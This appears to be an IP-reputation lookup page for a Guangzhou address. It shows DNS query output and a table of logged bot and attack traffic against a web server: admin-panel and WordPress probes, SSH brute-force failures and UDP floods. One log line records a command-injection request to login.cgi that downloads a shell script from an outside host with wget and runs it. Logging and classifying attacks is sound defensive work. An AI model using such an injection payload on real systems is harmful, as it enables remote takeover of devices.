City: Guangzhou
Region: Guangdong
Country: China
Internet Service Provider: China Unicom
Hostname: unknown
Organization: unknown
Usage Type: unknown
b; <<>> DiG 9.10.3-P4-Ubuntu <<>> 112.94.62.109
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NXDOMAIN, id: 23772
;; flags: qr rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 0
;; QUESTION SECTION:
;112.94.62.109. IN A
;; AUTHORITY SECTION:
. 371 IN SOA a.root-servers.net. nstld.verisign-grs.com. 2024090700 1800 900 604800 86400
;; Query time: 21 msec
;; SERVER: 183.60.83.19#53(183.60.83.19)
;; WHEN: Sat Sep 07 20:55:48 CST 2024
;; MSG SIZE rcvd: 106Host 109.62.94.112.in-addr.arpa. not found: 3(NXDOMAIN)Server: 183.60.83.19
Address: 183.60.83.19#53
** server can't find 109.62.94.112.in-addr.arpa: NXDOMAIN| IP | Type | Details | Datetime |
|---|---|---|---|
| 196.247.213.149 | botsattack | 196.247.213.149 - - [20/May/2019:21:04:16 +0800] "GET /check-ip/index.php?option=com_user&task=register HTTP/1.1" 200 9682 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.103 Safari/537.36" 196.247.213.149 - - [20/May/2019:21:04:20 +0800] "GET /check-ip/modules.php?name=Your_Account HTTP/1.1" 200 9686 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.103 Safari/537.36" 196.247.213.149 - - [20/May/2019:21:04:22 +0800] "GET /check-ip/member/ HTTP/1.1" 200 9676 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.103 Safari/537.36" 196.247.213.149 - - [20/May/2019:21:04:24 +0800] "GET /check-ip/index.php?act=dispMemberLoginForm HTTP/1.1" 200 9682 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.103 Safari/537.36" 196.247.213.149 - - [20/May/2019:21:04:28 +0800] "GET /check-ip/yabb.pl HTTP/1.1" 200 9678 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.103 Safari/537.36" 196.247.213.149 - - [20/May/2019:21:04:29 +0800] "GET /check-ip/YaBB.cgi HTTP/1.1" 200 9680 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.103 Safari/537.36" 196.247.213.149 - - [20/May/2019:21:04:33 +0800] "GET /check-ip/bbs.cgi HTTP/1.1" 200 9678 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.103 Safari/537.36" 196.247.213.149 - - [20/May/2019:21:04:37 +0800] "GET /check-ip/light.cgi HTTP/1.1" 200 9682 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.103 Safari/537.36" 196.247.213.149 - - [20/May/2019:21:04:39 +0800] "GET /check-ip/CGI/guestbook?page=1 HTTP/1.1" 404 232 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.103 Safari/537.36" |
2019-05-20 21:13:19 |
| 188.166.3.42 | botsattack | 188.166.3.42 - - [05/May/2019:11:22:39 +0800] "GET /jmx-console/ HTTP/1.1" 301 194 "-" "-" 188.166.3.42 - - [05/May/2019:11:22:40 +0800] "GET /jmx-console/ HTTP/1.1" 404 209 "http://118.25.52.138/jmx-console/" "-" |
2019-05-05 11:23:55 |
| 106.12.95.181 | attack | 106.12.95.181 - - [06/May/2019:21:10:47 +0800] "GET /login.cgi?cli=aa%20aa%27;wget%20http://194.147.32.131/sh%20-O%20-%3E%20/tmp/kh;sh%20/tmp/kh%27$ HTTP/1.1" 400 182 "-" "Hakai/2.0" |
2019-05-06 21:11:47 |
| 69.30.243.244 | bots | alexa爬虫 69.30.243.244 - - [05/May/2019:11:03:58 +0800] "GET /check-ip/175.58.85.46 HTTP/1.1" 200 10660 "https://ipinfo.asytech.cn" "ia_archiver (+http://www.alexa.com/site/help/webmasters; crawler@alexa.com)" |
2019-05-05 11:04:51 |
| 174.138.9.42 | botsattack | UDP flood port:53329 to port: 53329 |
2019-05-08 07:46:52 |
| 128.199.59.39 | botsattack | UDP flood attack port:0 port:51331 |
2019-05-06 10:22:08 |
| 103.131.71.149 | bots | 越南的CocCoc搜索引擎，如果不想在越南发展商务，可以禁用 103.131.71.149 - - [14/May/2019:11:31:44 +0800] "GET /robots.txt HTTP/1.1" 301 194 "-" "Mozilla/5.0 (compatible; coccocbot-web/1.0; +http://help.coccoc.com/searchengine)" 103.131.71.149 - - [14/May/2019:11:31:45 +0800] "GET /robots.txt HTTP/1.1" 200 634 "-" "Mozilla/5.0 (compatible; coccocbot-web/1.0; +http://help.coccoc.com/searchengine)" 103.131.71.156 - - [14/May/2019:11:31:48 +0800] "GET /check-ip/27.72.74.143 HTTP/1.1" 200 9435 "-" "Mozilla/5.0 (compatible; coccocbot-web/1.0; +http://help.coccoc.com/searchengine)" |
2019-05-14 11:34:43 |
| 74.208.82.41 | botsattack | 74.208.82.41 - - [05/May/2019:18:24:30 +0800] "GET /wp-content/plugins/portable-phpmyadmin/wp-pma-mod/index.php?lang=en HTTP/1.1" 301 194 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.119 Safari/537.36" 74.208.82.41 - - [05/May/2019:18:24:31 +0800] "GET /phpmy/index.php?lang=en HTTP/1.1" 301 194 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.119 Safari/537.36" 74.208.82.41 - - [05/May/2019:18:24:31 +0800] "GET /phppma/index.php?lang=en HTTP/1.1" 301 194 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.119 Safari/537.36" 74.208.82.41 - - [05/May/2019:18:24:32 +0800] "GET /myadmin/index.php?lang=en HTTP/1.1" 301 194 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.119 Safari/537.36" |
2019-05-05 18:35:12 |
| 52.90.140.202 | bots | 52.90.140.202 - - [20/May/2019:13:04:24 +0800] "GET /check-ip/92.119.160.80 HTTP/1.1" 200 89336 "-" "Clickagy Intelligence Bot v2" |
2019-05-20 13:05:16 |
| 38.143.68.212 | attack | H |
2019-05-04 08:45:22 |
| 178.62.237.197 | botsattack | UDP Flood attack port:0 to port:0 |
2019-05-05 15:10:19 |
| 134.175.67.60 | bots | 134.175.67.60 - - [06/May/2019:18:45:42 +0800] "GET / HTTP/1.1" 301 194 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0" 134.175.67.60 - - [06/May/2019:18:45:42 +0800] "GET /robots.txt HTTP/1.1" 301 194 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0" 134.175.67.60 - - [06/May/2019:18:45:44 +0800] "GET /webdav/ HTTP/1.1" 301 194 "-" "Mozilla/5.0" |
2019-05-06 18:46:29 |
| 134.175.123.16 | attack | May 21 01:42:33 s64-1 sshd[7561]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=134.175.123.16 May 21 01:42:35 s64-1 sshd[7561]: Failed password for invalid user postgres from 134.175.123.16 port 33900 ssh2 May 21 01:49:41 s64-1 sshd[7674]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=134.175.123.16 |
2019-05-21 10:06:46 |
| 128.14.209.234 | attack | 128.14.209.234 - - [04/May/2019:07:46:13 +0800] "GET /console/login/LoginForm.jsp HTTP/1.1" 404 465 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) C hrome/60.0.3112.113 Safari/537.36" |
2019-05-05 09:00:41 |
| 188.52.164.84 | botsattack | 188.52.164.84 - - [07/May/2019:10:24:03 +0800] "GET //wp-includes/wlwmanifest.xml HTTP/1.1" 404 232 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36" 188.52.164.84 - - [07/May/2019:10:24:04 +0800] "GET //xmlrpc.php?rsd HTTP/1.1" 308 265 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36" 188.52.164.84 - - [07/May/2019:10:24:05 +0800] "GET / HTTP/1.1" 200 10389 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36" 188.52.164.84 - - [07/May/2019:10:24:07 +0800] "GET //blog/wp-includes/wlwmanifest.xml HTTP/1.1" 404 232 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36" 188.52.164.84 - - [07/May/2019:10:24:08 +0800] "GET //wordpress/wp-includes/wlwmanifest.xml HTTP/1.1" 404 232 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36" |
2019-05-07 10:28:21 |